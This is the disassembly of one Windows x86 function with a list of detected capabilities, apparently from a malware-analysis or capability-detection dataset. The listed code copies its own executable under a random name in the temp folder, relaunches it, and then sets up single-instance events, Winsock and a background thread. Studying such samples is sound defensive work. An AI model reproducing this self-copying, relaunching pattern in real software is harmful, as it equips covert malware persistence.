Function at 0x40128b
Capabilities:
Create process on windows
Create thread
Get common file path
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc00
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor esi, esi
push esi
push eax
push esi
push esi
push esi
mov dword [0x4246f0], eax
mov eax, 0x80000000
push eax
push esi
push eax
push 0xcf0000
push 0x424628
push 0x424560
push esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x4012d9
xor eax, eax
jmp 0x401619
xor eax, eax
mov edi, 0x206
push edi
mov word [ebp - reloc.ole32.dll_CoDisconnectObject], ax
lea eax, [ebp - 0xa6a]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - reloc.ole32.dll_CoDisconnectObject], ax
lea eax, [ebp - 0x24a]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - reloc.ole32.dll_CoDisconnectObject], ax
lea eax, [ebp - 0x862]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
push 0x104
lea eax, [ebp - 0xa6c]
push eax
push esi
call dword [sym.imp.kernel32.dll_GetModuleFileNameW]
push 0x41dc68
push 0x425130
call fcn.00408dc3
pop ecx
pop ecx
test eax, eax
je 0x4014d7
xor eax, eax
push edi
mov word [ebp - reloc.ole32.dll_CoDisconnectObject], ax
lea eax, [ebp - 0x452]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - reloc.ole32.dll_CoDisconnectObject], ax
lea eax, [ebp - 0x65a]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
lea eax, [ebp - 0x454]
push 0x41dc8c
push eax
call fcn.00408da4
lea eax, [ebp - 0x454]
push eax
lea eax, [ebp - 0x65c]
push eax
call fcn.00408da4
lea eax, [ebp - 0x65c]
push 0x41dc9c
push eax
call fcn.00408d76
mov edi, dword [sym.imp.kernel32.dll_OpenEventW]
add esp, 0x18
lea eax, [ebp - 0x454]
push eax
push esi
mov ebx, 0x20000
push ebx
call edi
cmp eax, esi
je 0x40142d
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
lea eax, [ebp - 0x65c]
push eax
push esi
push esi
push esi
call dword [sym.imp.kernel32.dll_CreateEventW]
mov dword [ebp - 0xc00], esi
jmp 0x40141e
cmp dword [ebp - 0xc00], 5
jge 0x40142d
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
inc dword [ebp - 0xc00]
push 0xc8
call dword [sym.imp.kernel32.dll_Sleep]
lea eax, [ebp - 0x454]
push eax
push esi
push ebx
call edi
cmp eax, esi
jne 0x4013fd
mov edi, 0x208
push edi
lea eax, [ebp - 0x24c]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
lea eax, [ebp - 0x24c]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x864]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
call dword [sym.imp.kernel32.dll_GetTickCount]
push eax
call fcn.00408e77
pop ecx
lea eax, [ebp - 0x864]
push eax
push 7
push 6
call fcn.004028ec
add esp, 0xc
lea eax, [ebp - 0x864]
push eax
lea eax, [ebp - 0x24c]
push eax
push 0x41dca8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0xa6c]
push eax
push 0x32
pop eax
call fcn.004018a4
add esp, 0x18
push 1
push esi
push 0x41dc68
lea eax, [ebp - 0x24c]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
call dword [sym.imp.kernel32.dll_ExitProcess]
lea eax, [ebp - 0xbfc]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x424eb0
call fcn.00408b07
pop ecx
test eax, eax
jne 0x40159c
push 0x3a
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x42]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
lea edi, [ebp - 0x44]
call fcn.00401000
mov eax, edi
push eax
push 0x425058
call fcn.00408da4
push 0x41dcbc
push reloc.ole32.dll_CoTaskMemAlloc
push 0x424eb4
call fcn.00409215
add esp, 0x14
push 0x51
pop eax
push 0x41dcd8
push 0x10
push 0x424f36
mov word [0x424f34], ax
call fcn.00409215
add esp, 0xc
push 0x41dce4
push reloc.ole32.dll_CoTaskMemAlloc
push 0x424f56
call fcn.00409215
mov eax, 0x2b66
mov word [0x424fd6], ax
mov eax, edi
add esp, 0xc
push eax
mov edi, 0x425038
push edi
call fcn.00408da4
push 0x41dd00
push edi
call fcn.00408d76
add esp, 0x10
mov dword [0x425078], 5
call fcn.00401791
push 0x41dc8c
mov edi, 0x4250b0
push edi
call fcn.00408d76
pop ecx
pop ecx
push 0x7d0
call dword [sym.imp.kernel32.dll_Sleep]
push edi
push esi
push 0x20000
call dword [sym.imp.kernel32.dll_OpenEventW]
cmp eax, esi
je 0x4015db
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x4012d2
push edi
push esi
push esi
push esi
call dword [sym.imp.kernel32.dll_CreateEventW]
test eax, eax
je 0x4012d2
mov ecx, 0x425548
call fcn.00402318
mov eax, dword [0x42507c]
push esi
push esi
push esi
push 0x401703
push esi
push esi
mov dword [0x425550], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov dword [0x4235d8], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408cba
leave
ret